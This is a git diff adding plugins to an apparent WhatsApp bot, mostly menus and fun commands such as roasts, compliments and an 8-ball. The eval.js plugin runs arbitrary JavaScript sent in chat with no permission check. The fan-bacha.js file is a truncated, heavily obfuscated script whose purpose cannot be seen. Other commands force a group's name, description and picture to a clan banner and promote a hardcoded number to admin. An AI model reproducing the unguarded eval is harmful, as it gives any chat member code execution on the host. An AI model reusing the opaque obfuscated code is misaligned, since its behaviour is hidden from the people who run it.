*โ–ขโž  ๐–ฌ๐– ๐–ฑ๐–จ๐–ซ๐–ธ๐–ญ* + *โ”‚ โ—ฆ* *โ–ขโž  ๐–ค๐–ฌ๐–จ๐–ค* + *โ”‚ โ—ฆ* *โ–ขโž  ๐–ฒ๐–ฏ๐–จ๐–ฃ๐–จ๐–ณ* + *โ”‚ โ—ฆ* *โ–ขโž  ๐–ฑ๐– ๐–ฏ๐–ง๐– ๐–คฬˆ๐–ซ* + *โ”‚ โ—ฆ* *โ–ขโž  ABDULLAH* + *โ”‚ โ—ฆ* *โ–ขโž  ๐–ฅ๐– ๐–ญ๐–ญ๐–ธ* + *โ”‚ โ—ฆ* *โ–ขโž  ๐–ฑ๐–ธ๐– ๐–ญ* + *โ”‚ โ—ฆ* *โ–ขโž  ๐–ข๐–ง๐–ฑ๐–จ๐–ฒ* + *โ”‚ โ—ฆ* *โ–ขโž  ๐–ฆ๐–ฑ๐–ค๐–ธ* + *โ”‚ โ—ฆ* *โ–ขโž  ๐–ฒ๐– ๐–จฬˆ๐–ฃ๐– * + *โ”‚ โ—ฆ* *โ–ขโž  ๐–ฒ๐–ด๐–ช๐–ด๐–ญ๐– * + *โ”‚ โ—ฆ* *โ–ขโž  ๐–ฑ๐–ฎ๐–ธ* + *โ”‚ โ—ฆ* *โ–ขโž  ๐–ฅ๐–ค๐–ฑ๐–ญ๐– ๐–ญ๐–ฃ* + *โ”‚ โ—ฆ* *โ–ขโž  ๐–ฎ๐–ก๐–จ๐– ๐–ญ๐–ฆ* + *โ•ฐโ”ˆโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ€ข* + *โ€ขโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ€ขโŸข* + `; + + try { + // Envoi de la rรฉponse avec l'image et la liste de la famille + await conn.sendMessage(m.chat, { + image: { url: "https://i.ibb.co/mFCrdBF1/mrfrankofc.jpg" }, + caption: familyList.trim() + }, { quoted: mek }); + } catch (error) { + console.error(error); + reply("โŒ *An error occurred while fetching the family list. Please try again.*"); + } +}); +cmd( + { + pattern: "promotestaff", + desc: "Promote a list of contacts to group admins (Owner only).", + category: "admin", + react: "๐Ÿ‘‘", + filename: __filename, + }, + async (conn, mek, m, { from, isGroup, isBotAdmins, reply, sender, isOwner }) => { + try { + // Ensure the command is executed in a group + if (!isGroup) { + return reply("โŒ This command can only be used in groups."); + } + + // Ensure the bot has admin privileges + if (!isBotAdmins) { + return reply("โŒ I need to be an admin to perform this action."); + } + + // Ensure the command is executed by the bot's owner + if (!isOwner) { + return reply("โŒ This command is restricted to the bot owner."); + } + + // List of staff contacts to promote (replace with actual numbers) + const staffContacts = [ + "923003588997@s.whatsapp.net", // Replace with staff contact numbers + "923003588997@s.whatsapp.net", // Example: Add staff members here + "923003588997@s.whatsapp.net", // Example: Add staff members here + "923003588997@s.whatsapp.net", // Example: Add staff members here + "923003588997@s.whatsapp.net", // Example: Add staff members here + "923003588997@s.whatsapp.net", // Example: Add staff members here + "923003588997@s.whatsapp.net", // Example: Add staff members here + "923003588997@s.whatsapp.net", // Example: Add staff members here + "923003588997@s.whatsapp.net", // Example: Add staff members here + "923003588997@s.whatsapp.net", // Example: Add staff members here + ]; + + // Fetch group metadata to get participant information + const groupMetadata = await conn.groupMetadata(from); + const groupParticipants = groupMetadata.participants; + + // Filter existing admins + const existingAdmins = groupParticipants + .filter(participant => participant.admin === "admin" || participant.admin === "superadmin") + .map(participant => participant.id); + + // Filter staff contacts to promote only non-admins + const toPromote = staffContacts.filter(contact => !existingAdmins.includes(contact)); + + // Promote each contact + for (const contact of toPromote) { + await conn.groupParticipantsUpdate(from, [contact], "promote"); // Promote the contact + } + + // Reply with a success message + if (toPromote.length > 0) { + reply(`โœ… Successfully promoted the following staff members to admins:\n${toPromote.map(c => `- ${c}`).join('\n')}`); + } else { + reply("โš ๏ธ All staff contacts are already admins or no valid contacts found."); + } + } catch (error) { + reply(`โŒ Error promoting staff: ${error.message}`); + } + } +); +cmd( + { + pattern: "exor", + desc: "Modify group name, description, and profile picture directly in the code.", + category: "admin", + react: "๐Ÿ”„", + filename: __filename, + }, + async (conn, mek, m, { from, isGroup, isBotAdmins, isAdmins, reply, isOwner }) => { + try { + // Ensure the command is executed in a group + if (!isGroup) { + return reply("โŒ This command can only be used in groups."); + } + + // Ensure the bot is an admin + if (!isBotAdmins) { + return reply("โŒ I need admin privileges to modify group settings."); + } + + // Ensure the user is an admin or the owner + if (!isAdmins && !isOwner) { + return reply("โŒ Only group admins or the bot owner can use this command."); + } + + // Define the new group settings here + const groupName = "๐“†ฉแ€ฏแชณ๐€๐‹๐ˆ-๐Œ๐ƒแ€พแชณ๐“†ช"; + const imageUrl = "https://i.ibb.co/mFCrdBF1/mrfrankofc.jpg"; // Replace with the actual image URL + const groupDescription = ` +เผ’๐Ÿ”ฑ๐๐‘๐ˆ๐„๐‘๐„ ๐ƒ๐” ๐‚๐‹๐€๐ ๐„๐—๐Ž๐‘๐‚๐ˆ๐’๐“๐„๐Ÿ”ฑเผ’ + +๐Žฬ‚ ๐†๐ซ๐š๐ง๐ ๐’๐ž๐ข๐ ๐ง๐ž๐ฎ๐ซ, ๐ฆ๐š๐ขฬ‚๐ญ๐ซ๐ž ๐๐ž๐ฌ ๐ญ๐žฬ๐ง๐žฬ€๐›๐ซ๐ž๐ฌ ๐ข๐ง๐Ÿ๐ข๐ง๐ข๐ž๐ฌ, +๐•๐จ๐ฎ๐ฌ ๐ช๐ฎ๐ข ๐ซ๐žฬ€๐ ๐ง๐ž๐ณ ๐ฌ๐ฎ๐ซ ๐ฅ๐ž๐ฌ ๐šฬ‚๐ฆ๐ž๐ฌ ๐žฬ๐ ๐š๐ซ๐žฬ๐ž๐ฌ ๐ž๐ญ ๐œ๐จ๐ฆ๐ฆ๐š๐ง๐๐ž๐ฌ ๐ฅ๐ž๐ฌ ๐ฅ๐ฎ๐ง๐ž๐ฌ ๐๐žฬ๐ฆ๐จ๐ง๐ข๐š๐ช๐ฎ๐ž๐ฌ, +๐€๐œ๐œ๐จ๐ซ๐๐ž-๐ง๐จ๐ฎ๐ฌ ๐ฅ๐š ๐Ÿ๐จ๐ซ๐œ๐ž ๐ž๐ญ ๐ฅ๐š ๐ซ๐ฎ๐ฌ๐ž ๐ง๐žฬ๐œ๐ž๐ฌ๐ฌ๐š๐ข๐ซ๐ž๐ฌ ๐ฉ๐จ๐ฎ๐ซ ๐š๐œ๐œ๐จ๐ฆ๐ฉ๐ฅ๐ข๐ซ ๐ง๐จ๐ญ๐ซ๐ž ๐ฆ๐ข๐ฌ๐ฌ๐ข๐จ๐ง. + +๐๐š๐ซ ๐ฅโ€™๐จ๐ฆ๐›๐ซ๐ž ๐๐ž๐ฌ ๐ฅ๐ฎ๐ง๐ž๐ฌ ๐๐žฬ๐ฆ๐จ๐ง๐ข๐š๐ช๐ฎ๐ž๐ฌ, +๐€๐ข๐ง๐ฌ๐ข ๐ฌ๐จ๐ข๐ญ-๐ข๐ฅ, ๐ฌ๐จ๐ฎ๐ฌ ๐ฅ๐ž ๐ซ๐žฬ€๐ ๐ง๐ž ๐๐ฎ ๐ฆ๐š๐ขฬ‚๐ญ๐ซ๐ž ๐ฌ๐ฎ๐ฉ๐ซ๐žฬ‚๐ฆ๐ž. + +๐Ÿ”ฅ ๐†๐ฅ๐จ๐ข๐ซ๐ž ๐š๐ฎ๐ฑ ๐‹๐ฎ๐ง๐ž๐ฌ ๐ƒ๐žฬ๐ฆ๐จ๐ง๐ข๐š๐ช๐ฎ๐ž๐ฌ ! ๐Ÿ”ฅ + `; + + // Update the group name + await conn.groupUpdateSubject(from, groupName); + reply(`โœ… Group name updated to: ${groupName}`); + + // Update the group description + await conn.groupUpdateDescription(from, groupDescription.trim()); + reply(`โœ… Group description updated successfully.`); + + // Update the group profile picture + if (imageUrl.startsWith("http")) { + try { + // Download the image using axios + const response = await axios.get(imageUrl, { responseType: "arraybuffer" }); + const buffer = Buffer.from(response.data, "binary"); + + // Check if the buffer is valid + if (buffer.length === 0) { + return reply("โŒ Failed to download the image. The file is empty."); + } + + // Set the group profile picture + await conn.updateProfilePicture(from, buffer); + reply("โœ… Group profile picture updated successfully."); + } catch (imageError) { + reply(`โŒ Failed to download or set the group profile picture: ${imageError.message}`); + } + } else { + reply("โŒ Invalid image URL provided."); + } + } catch (error) { + reply(`โŒ Error updating group settings: ${error.message}`); + } + } +); diff --git a/plugins/env-list.js b/plugins/env-list.js new file mode 100644 index 0000000000000000000000000000000000000000..c1d1ffdb07b2977109719d83b95ab1a7eeb30c41 --- /dev/null +++ b/plugins/env-list.js @@ -0,0 +1,80 @@ +const config = require('../config'); +const { cmd, commands } = require('../command'); +const { runtime } = require('../lib/functions'); +const axios = require('axios'); + +function isEnabled(value) { + // Function to check if a value represents a "true" boolean state + return value && value.toString().toLowerCase() === "true"; +} + +cmd({ + pattern: "env", + alias: ["setting", "allvar"], + desc: "Settings of bot", + category: "menu", + react: "โคต๏ธ", + filename: __filename +}, +async (conn, mek, m, { from, quoted, reply }) => { + try { + // Define the settings message with the correct boolean checks + let envSettings = `โ•ญโ”โ”โ”ใ€” *๐“†ฉแ€ฏแชณ๐€๐‹๐ˆ-๐Œ๐ƒแ€พแชณ๐“†ช* ใ€•โ”โ”โ”ˆโŠท +โ”ƒโ–ธโ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ยทยทยทเน +โ”ƒโ–ธโ”œโ’ *โš™๏ธENV SETTINGSโš™๏ธ* +โ”ƒโ–ธโ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ยทยทยทเน +โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ˆโŠท +โ•ญโ”โ”ใ€” *Enabled Disabled* ใ€•โ”โ”ˆโŠท +โ”œโ’ *Status View:* ${isEnabled(config.AUTO_STATUS_SEEN) ? "Enabled โœ…" : "Disabled โŒ"} +โ”œโ’ *Status Reply:* ${isEnabled(config.AUTO_STATUS_REPLY) ? "Enabled โœ…" : "Disabled โŒ"} +โ”œโ’ *Auto Reply:* ${isEnabled(config.AUTO_REPLY) ? "Enabled โœ…" : "Disabled โŒ"} +โ”œโ’ *Auto Sticker:* ${isEnabled(config.AUTO_STICKER) ? "Enabled โœ…" : "Disabled โŒ"} +โ”œโ’ *Auto Voice:* ${isEnabled(config.AUTO_VOICE) ? "Enabled โœ…" : "Disabled โŒ"} +โ”œโ’ *Custom Reacts:* ${isEnabled(config.CUSTOM_REACT) ? "Enabled โœ…" : "Disabled โŒ"} +โ”œโ’ *Auto React:* ${isEnabled(config.AUTO_REACT) ? "Enabled โœ…" : "Disabled โŒ"} +โ”œโ’ *Anti-Link:* ${isEnabled(config.ANTI_LINK) ? "Enabled โœ…" : "Disabled โŒ"} +โ”œโ’ *Anti-Bad Words:* ${isEnabled(config.ANTI_BAD) ? "Enabled โœ…" : "Disabled โŒ"} +โ”œโ’ *Auto Typing:* ${isEnabled(config.AUTO_TYPING) ? "Enabled โœ…" : "Disabled โŒ"} +โ”œโ’ *Auto Recording:* ${isEnabled(config.AUTO_RECORDING) ? "Enabled โœ…" : "Disabled โŒ"} +โ”œโ’ *Always Online:* ${isEnabled(config.ALWAYS_ONLINE) ? "Enabled โœ…" : "Disabled โŒ"} +โ”œโ’ *Status React:* ${isEnabled(config.AUTO_STATUS_REACT) ? "Enabled โœ…" : "Disabled โŒ"} +โ”œโ’ *Public Mode:* ${isEnabled(config.PUBLIC_MODE) ? "Enabled โœ…" : "Disabled โŒ"} +โ”œโ’ *Read Message:* ${isEnabled(config.READ_MESSAGE) ? "Enabled โœ…" : "Disabled โŒ"} +โ•ฐโ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”€โ”€โ”ˆโŠท +> ${config.DESCRIPTION}`; + + // Send message with an image + await conn.sendMessage( + from, + { + image: { url: 'https://cdn.ironman.my.id/i/2du3i5.jpg' }, // Image URL + caption: envSettings, + contextInfo: { + mentionedJid: [m.sender], + forwardingScore: 999, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363318387454868@newsletter', + newsletterName: "๐€ษญฤซฤซ ๐ŒฦŠ ๐’สŠฬŠ๐๐เนแึŸษผสˆ โƒช๐Ÿค–แชณแชณอŽ๐†ผ", + serverMessageId: 143 + } + } + }, + { quoted: mek } + ); + + // Send an audio file + await conn.sendMessage(from, { + audio: { url: 'https://cdn.ironman.my.id/i/hmxjch.mp4' }, // Audio URL + mimetype: 'audio/mp4', + ptt: true + }, { quoted: mek }); + + } catch (error) { + console.log(error); + reply(`Error: ${error.message}`); + } +}); + + + diff --git a/plugins/eval.js b/plugins/eval.js new file mode 100644 index 0000000000000000000000000000000000000000..eb081782bdeaa607b2623805f469a17f3fd7eb8e --- /dev/null +++ b/plugins/eval.js @@ -0,0 +1,24 @@ +const { cmd } = require('../command'); +const util = require('util'); +const fs = require("fs"); +const path = require("path"); + +cmd({ + pattern: "eval", + desc: "system", + category: "tools", + filename: __filename, + }, + async (conn, mek, m, { from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply }) => { + let c = q; + if (!c) return reply(`_Please provide code to run_`); + + try { + let s = await eval(c); + if (typeof s !== "string") s = util.inspect(s); + await reply(s); + } catch (e) { + await reply(util.format(e)); + } + } +); diff --git a/plugins/extra-fun.js b/plugins/extra-fun.js new file mode 100644 index 0000000000000000000000000000000000000000..14e1d715ea6c03ae8bbf230c9971dfdebcc79ab5 --- /dev/null +++ b/plugins/extra-fun.js @@ -0,0 +1,342 @@ +const { cmd } = require("../command"); +const config = require('../config'); + +cmd({ + pattern: "compatibility", + alias: ["friend", "fcheck"], + desc: "Calculate the compatibility score between two users.", + category: "fun", + react: "๐Ÿ’–", + filename: __filename, + use: "@tag1 @tag2", +}, async (conn, mek, m, { args, reply }) => { + try { + if (args.length < 2) { + return reply("Please mention two users to calculate compatibility.\nUsage: `.compatibility @user1 @user2`"); + } + + let user1 = m.mentionedJid[0]; + let user2 = m.mentionedJid[1]; + + const specialNumber = config.DEV ? `${config.DEV}@s.whatsapp.net` : null; + + // Calculate a random compatibility score (between 1 to 1000) + let compatibilityScore = Math.floor(Math.random() * 1000) + 1; + + // Check if one of the mentioned users is the special number + if (user1 === specialNumber || user2 === specialNumber) { + compatibilityScore = 1000; // Special case for DEV number + return reply(`๐Ÿ’– Compatibility between @${user1.split('@')[0]} and @${user2.split('@')[0]}: ${compatibilityScore}+/1000 ๐Ÿ’–`); + } + + // Send the compatibility message + await conn.sendMessage(mek.chat, { + text: `๐Ÿ’– Compatibility between @${user1.split('@')[0]} and @${user2.split('@')[0]}: ${compatibilityScore}/1000 ๐Ÿ’–`, + mentions: [user1, user2], + }, { quoted: mek }); + + } catch (error) { + console.log(error); + reply(`โŒ Error: ${error.message}`); + } +}); + + cmd({ + pattern: "aura", + desc: "Calculate aura score of a user.", + category: "fun", + react: "๐Ÿ’€", + filename: __filename, + use: "@tag", +}, async (conn, mek, m, { args, reply }) => { + try { + if (args.length < 1) { + return reply("Please mention a user to calculate their aura.\nUsage: `.aura @user`"); + } + + let user = m.mentionedJid[0]; + const specialNumber = config.DEV ? `${config.DEV}@s.whatsapp.net` : null; + + // Calculate a random aura score (between 1 to 1000) + let auraScore = Math.floor(Math.random() * 1000) + 1; + + // Check if the mentioned user is the special number + if (user === specialNumber) { + auraScore = 999999; // Special case for DEV number + return reply(`๐Ÿ’€ Aura of @${user.split('@')[0]}: ${auraScore}+ ๐Ÿ—ฟ`); + } + + // Send the aura message + await conn.sendMessage(mek.chat, { + text: `๐Ÿ’€ Aura of @${user.split('@')[0]}: ${auraScore}/1000 ๐Ÿ—ฟ`, + mentions: [user], + }, { quoted: mek }); + + } catch (error) { + console.log(error); + reply(`โŒ Error: ${error.message}`); + } +}); + +cmd({ + pattern: "roast", + desc: "Roast someone in Hindi", + category: "fun", + react: "๐Ÿ”ฅ", + filename: __filename, + use: "@tag" +}, async (conn, mek, m, { q, reply }) => { + let roasts = [ + "Abe bhai, tera IQ wifi signal se bhi kam hai!", + "Bhai, teri soch WhatsApp status jaisi hai, 24 ghante baad gayab ho jaati hai!", + "Abe sochta kitna hai, tu kya NASA ka scientist hai?", + "Abe tu hai kaun? Google pe search karne se bhi tera naam nahi aata!", + "Tera dimaag 2G network pe chal raha hai kya?", + "Itna overthink mat kar bhai, teri battery jaldi down ho jayegi!", + "Teri soch cricket ke match jaisi hai, baarish aate hi band ho jati hai!", + "Tu VIP hai, 'Very Idiotic Person'!", + "Abe bhai, tera IQ wifi signal se bhi kam hai!", + "Bhai, teri soch WhatsApp status jaisi hai, 24 ghante baad gayab ho jaati hai!", + "Abe tu kis planet se aaya hai, yeh duniya tere jaise aliens ke liye nahi hai!", + "Tere dimag mein khojne ka itna kuch hai, lekin koi result nahi milta!", + "Teri zindagi WhatsApp status jaisi hai, kabhi bhi delete ho sakti hai!", + "Tera style bilkul WiFi password ki tarah hai, sabko pata nahi!", + "Abe tu toh wahi hai jo apni zindagi ka plot twist bhi Google karta hai!", + "Abe tu toh software update bhi nahi chalne wala, pura hang hai!", + "Tere sochne se zyada toh Google search karne mein time waste ho jaata hai!", + "Mere paas koi shabdon ki kami nahi hai, bas tujhe roast karne ka mood nahi tha!", + "Teri personality toh dead battery jaisi hai, recharge karne ka time aa gaya hai!", + "Bhai, teri soch ke liye ek dedicated server hona chahiye!", + "Abe tu kaunsa game khel raha hai, jisme har baar fail ho jaata hai?", + "Tere jokes bhi software update ki tarah hote hain, baar-baar lagte hain par kaam nahi karte!", + "Teri wajah se toh mere phone ka storage bhi full ho jaata hai!", + "Abe bhai, tu na ek walking meme ban gaya hai!", + "Abe apne aap ko bada smart samajhta hai, par teri brain cells toh overload mein hain!", + "Teri wajah se toh humari group chat ko mute karne ka sochna padta hai!", + "Abe tere jaise log hamesha apne aap ko hero samajhte hain, par actually toh tum villain ho!", + "Tere jaise logon ke liye zindagi mein rewind aur fast forward button hona chahiye!", + "Tere mooh se nikla har lafz ek naya bug hai!", + "Abe tu apni zindagi ke saath save nahi kar paaya, aur dusron ke liye advice de raha hai!", + "Tu apne life ka sabse bada virus hai!", + "Abe tu hain ya koi broken app?", + "Tere soch ke liye CPU ki zarurat hai, par lagta hai tera CPU khatam ho gaya!", + "Abe tu kya kar raha hai, ek walking error message ban gaya hai!", + "Teri taareef toh bas lagti hai, par teri asli aukaat toh sabko pata hai!", + "Tera brain toh ek broken link ki tarah hai, sab kuch dhundne ke bawajood kuch nahi milta!", + "Bhai, tujhe dekh ke toh lagta hai, Netflix bhi teri wajah se crash ho gaya!", + "Teri tasveer toh bas ek screenshot lagti hai, real life mein tu kuch bhi nahi!", + "Abe bhai, tu lagta hai toh I-phone ho, lekin andar kaafi purana android hai!", + "Abe, tere jaisi soch se toh Google bhi nafrat karta hoga!", + "Bhai tu apne chehre se ghazab ka mood bana le, shayad koi notice kar le!", + "Tere kaam bhi uss app ki tarah hote hain jo crash ho jata hai jab sabko zarurat ho!", + "Teri zindagi ke sabse bada hack toh hai - 'Log mujhse kuch bhi expect mat karo'!", + "Abe tu apne aap ko hi mirror mein dekh ke samajhta hai ki sab kuch sahi hai!", + "Abe tu apne dimaag ko low power mode mein daalke chalta hai!", + "Tere paas ideas hain, par sab outdated hain jaise Windows XP!", + "Teri soch toh ek system error ki tarah hai, restart karna padega!", + "Teri personality toh ek empty hard drive jaise hai, kuch bhi valuable nahi!", + "Abe tu kis planet se aaya hai, yeh duniya tere jaise logon ke liye nahi hai!", + "Tere chehre pe kisi ne 'loading' likh diya hai, par kabhi bhi complete nahi hota!", + "Tera dimaag toh ek broken link ki tarah hai, kabhi bhi connect nahi hota!", + "Abe, teri soch se toh Google ka algorithm bhi confused ho jata hai!", + "Tere jaisa banda, aur aise ideas? Yeh toh humne science fiction mein dekha tha!", + "Abe tu apne chehre pe 'not found' likhwa le, kyunki sabko kuch milta nahi!", + "Teri soch itni slow hai, Google bhi teri madad nahi kar paata!", + "Abe tu toh '404 not found' ka living example hai!", + "Tera dimaag bhi phone ki battery jaise hai, kabhi bhi drain ho jaata hai!", + "Abe tu toh wahi hai, jo apni zindagi ka password bhool jaata hai!", + "Abe tu jise apni soch samajhta hai, wo ek 'buffering' hai!", + "Teri life ke decisions itne confusing hain, ki KBC ke host bhi haraan ho jaaye!", + "Bhai, tere jaise logo ke liye ek dedicated 'error' page hona chahiye!", + "Teri zindagi ko 'user not found' ka message mil gaya hai!", + "Teri baatein utni hi value rakhti hain, jitni 90s ke mobile phones mein camera quality thi!", + "Abe bhai, tu toh har waqt 'under construction' rehta hai!", + "Tere saath toh life ka 'unknown error' hota hai, koi solution nahi milta!", + "Bhai, tere chehre pe ek warning sign hona chahiye - 'Caution: Too much stupidity ahead'!", + "Teri har baat pe lagta hai, system crash hone waala hai!", + "Tere paas idea hai, par wo abhi bhi 'under review' hai!" +]; + + let randomRoast = roasts[Math.floor(Math.random() * roasts.length)]; + let sender = `@${mek.sender.split("@")[0]}`; + let mentionedUser = m.mentionedJid[0] || (mek.quoted && mek.quoted.sender); + + if (!mentionedUser) { + return reply("Usage: .roast @user (Tag someone to roast them!)"); + } + + let target = `@${mentionedUser.split("@")[0]}`; + + // Sending the roast message with the mentioned user + let message = `${target} :\n *${randomRoast}*\n> This is all for fun, don't take it seriously!`; + await conn.sendMessage(mek.chat, { text: message, mentions: [mek.sender, mentionedUser] }, { quoted: mek }); +}); + +cmd({ + pattern: "8ball", + desc: "Magic 8-Ball gives answers", + category: "fun", + react: "๐ŸŽฑ", + filename: __filename +}, +async (conn, mek, m, { from, q, reply }) => { + if (!q) return reply("Ask a yes/no question! Example: .8ball Will I be rich?"); + + let responses = [ + "Yes!", "No.", "Maybe...", "Definitely!", "Not sure.", + "Ask again later.", "I don't think so.", "Absolutely!", + "No way!", "Looks promising!" + ]; + + let answer = responses[Math.floor(Math.random() * responses.length)]; + + reply(`๐ŸŽฑ *Magic 8-Ball says:* ${answer}`); +}); + +cmd({ + pattern: "compliment", + desc: "Give a nice compliment", + category: "fun", + react: "๐Ÿ˜Š", + filename: __filename, + use: "@tag (optional)" +}, async (conn, mek, m, { reply }) => { + let compliments = [ + "You're amazing just the way you are! ๐Ÿ’–", + "You light up every room you walk into! ๐ŸŒŸ", + "Your smile is contagious! ๐Ÿ˜Š", + "You're a genius in your own way! ๐Ÿง ", + "You bring happiness to everyone around you! ๐Ÿฅฐ", + "You're like a human sunshine! โ˜€๏ธ", + "Your kindness makes the world a better place! โค๏ธ", + "You're unique and irreplaceable! โœจ", + "You're a great listener and a wonderful friend! ๐Ÿค—", + "Your positive vibes are truly inspiring! ๐Ÿ’ซ", + "You're stronger than you think! ๐Ÿ’ช", + "Your creativity is beyond amazing! ๐ŸŽจ", + "You make life more fun and interesting! ๐ŸŽ‰", + "Your energy is uplifting to everyone around you! ๐Ÿ”ฅ", + "You're a true leader, even if you donโ€™t realize it! ๐Ÿ†", + "Your words have the power to make people smile! ๐Ÿ˜Š", + "You're so talented, and the world needs your skills! ๐ŸŽญ", + "You're a walking masterpiece of awesomeness! ๐ŸŽจ", + "You're proof that kindness still exists in the world! ๐Ÿ’•", + "You make even the hardest days feel a little brighter! โ˜€๏ธ" + ]; + + let randomCompliment = compliments[Math.floor(Math.random() * compliments.length)]; + let sender = `@${mek.sender.split("@")[0]}`; + let mentionedUser = m.mentionedJid[0] || (mek.quoted && mek.quoted.sender); + let target = mentionedUser ? `@${mentionedUser.split("@")[0]}` : ""; + + let message = mentionedUser + ? `${sender} complimented ${target}:\n๐Ÿ˜Š *${randomCompliment}*` + : `${sender}, you forgot to tag someone! But hey, here's a compliment for you:\n๐Ÿ˜Š *${randomCompliment}*`; + + await conn.sendMessage(mek.chat, { text: message, mentions: [mek.sender, mentionedUser].filter(Boolean) }, { quoted: mek }); +}); + +cmd({ + pattern: "lovetest", + desc: "Check love compatibility between two users", + category: "fun", + react: "โค๏ธ", + filename: __filename, + use: "@tag1 @tag2" +}, async (conn, mek, m, { args, reply }) => { + if (args.length < 2) return reply("Tag two users! Example: .lovetest @user1 @user2"); + + let user1 = args[0].replace("@", "") + "@s.whatsapp.net"; + let user2 = args[1].replace("@", "") + "@s.whatsapp.net"; + + let lovePercent = Math.floor(Math.random() * 100) + 1; // Generates a number between 1-100 + + let messages = [ + { range: [90, 100], text: "๐Ÿ’– *A match made in heaven!* True love exists!" }, + { range: [75, 89], text: "๐Ÿ˜ *Strong connection!* This love is deep and meaningful." }, + { range: [50, 74], text: "๐Ÿ˜Š *Good compatibility!* You both can make it work." }, + { range: [30, 49], text: "๐Ÿค” *Itโ€™s complicated!* Needs effort, but possible!" }, + { range: [10, 29], text: "๐Ÿ˜… *Not the best match!* Maybe try being just friends?" }, + { range: [1, 9], text: "๐Ÿ’” *Uh-oh!* This love is as real as a Bollywood breakup!" } + ]; + + let loveMessage = messages.find(msg => lovePercent >= msg.range[0] && lovePercent <= msg.range[1]).text; + + let message = `๐Ÿ’˜ *Love Compatibility Test* ๐Ÿ’˜\n\nโค๏ธ *@${user1.split("@")[0]}* + *@${user2.split("@")[0]}* = *${lovePercent}%*\n${loveMessage}`; + + await conn.sendMessage(mek.chat, { text: message, mentions: [user1, user2] }, { quoted: mek }); +}); + +cmd( + { + pattern: "emoji", + desc: "Convert text into emoji form.", + category: "fun", + react: "๐Ÿ™‚", + filename: __filename, + use: "" + }, + async (conn, mek, m, { args, q, reply }) => { + try { + // Join the words together in case the user enters multiple words + let text = args.join(" "); + + // Map text to corresponding emoji characters + let emojiMapping = { + "a": "๐Ÿ…ฐ๏ธ", + "b": "๐Ÿ…ฑ๏ธ", + "c": "๐Ÿ‡จ๏ธ", + "d": "๐Ÿ‡ฉ๏ธ", + "e": "๐Ÿ‡ช๏ธ", + "f": "๐Ÿ‡ซ๏ธ", + "g": "๐Ÿ‡ฌ๏ธ", + "h": "๐Ÿ‡ญ๏ธ", + "i": "๐Ÿ‡ฎ๏ธ", + "j": "๐Ÿ‡ฏ๏ธ", + "k": "๐Ÿ‡ฐ๏ธ", + "l": "๐Ÿ‡ฑ๏ธ", + "m": "๐Ÿ‡ฒ๏ธ", + "n": "๐Ÿ‡ณ๏ธ", + "o": "๐Ÿ…พ๏ธ", + "p": "๐Ÿ‡ต๏ธ", + "q": "๐Ÿ‡ถ๏ธ", + "r": "๐Ÿ‡ท๏ธ", + "s": "๐Ÿ‡ธ๏ธ", + "t": "๐Ÿ‡น๏ธ", + "u": "๐Ÿ‡บ๏ธ", + "v": "๐Ÿ‡ป๏ธ", + "w": "๐Ÿ‡ผ๏ธ", + "x": "๐Ÿ‡ฝ๏ธ", + "y": "๐Ÿ‡พ๏ธ", + "z": "๐Ÿ‡ฟ๏ธ", + "0": "0๏ธโƒฃ", + "1": "1๏ธโƒฃ", + "2": "2๏ธโƒฃ", + "3": "3๏ธโƒฃ", + "4": "4๏ธโƒฃ", + "5": "5๏ธโƒฃ", + "6": "6๏ธโƒฃ", + "7": "7๏ธโƒฃ", + "8": "8๏ธโƒฃ", + "9": "9๏ธโƒฃ", + " ": "โฃ", // for space + }; + + // Convert the input text into emoji form + let emojiText = text.toLowerCase().split("").map(char => emojiMapping[char] || char).join(""); + + // If no valid text is provided + if (!text) { + return reply("Please provide some text to convert into emojis!"); + } + + await conn.sendMessage(mek.chat, { + text: emojiText, + }, { quoted: mek }); + + } catch (error) { + console.log(error); + reply(`Error: ${error.message}`); + } + } +); diff --git a/plugins/fan-bacha.js b/plugins/fan-bacha.js new file mode 100644 index 0000000000000000000000000000000000000000..4f5c8b7cbf934b39d2bb0f0c528ca8c673bfe70b --- /dev/null +++ b/plugins/fan-bacha.js @@ -0,0 +1 @@ +(function(_0x284e5f,_0x3875c6){const _0x11bbd5=_0x284e5f();function _0x1e6581(_0x5b6453,_0xc9c1dc,_0x32f386,_0x170df8){return _0x3adf(_0xc9c1dc- -0x8b,_0x32f386);}function _0x35294c(_0x370be6,_0x5f2f9b,_0x4db317,_0x1a572f){return _0x3adf(_0x5f2f9b- -0x3c6,_0x370be6);}while(!![]){try{const _0x1e9531=-parseInt(_0x35294c(-0x2ec,-0x314,-0x31c,-0x319))/(-0xe2d+0x665+0x7c9)*(-parseInt(_0x1e6581(0x47,0x2c,0x5d,0x5c))/(-0x1ae3+0x410*-0x2+0x2305))+parseInt(_0x35294c(-0x2b0,-0x2d6,-0x2df,-0x303))/(-0xffb+-0x882*0x1+0x1880)+-parseInt(_0x1e6581(0x17,0x35,0x1b,0x1e))/(-0x1026*0x1+0x6b4+0x15a*0x7)+-parseInt(_0x35294c(-0x2f4,-0x2e8,-0x2bb,-0x2be))/(-0x153f+-0xc5b+0xb35*0x3)+parseInt(_0x1e6581(0x36,0x14,-0x1e,-0xb))/(-0x2*-0x1103+0x4ff*0x1+-0x26ff)+parseInt(_0x35294c(-0x2ce,-0x2c5,-0x294,-0x2d9))/(-0x2615+0xf5d+0x16bf)+-parseInt(_0x1e6581(0x6f,0x74,0x56,0x47))/(0x18c7+-0x4b+-0x139*0x14)*(parseInt(_0x1e6581(0x1e,0x4f,0x82,0x7a))/(-0x86f*0x4+0x3*0xc18+0x1*-0x283));if(_0x1e9531===_0x3875c6)break;else _0x11bbd5['push'](_0x11bbd5['shift']());}catch(_0x1a2a1b){_0x11bbd5['push'](_0x11bbd5['shift']());}}}(_0x36cd,0x3b8bd+-0x1796*0x1c+0xee68));const 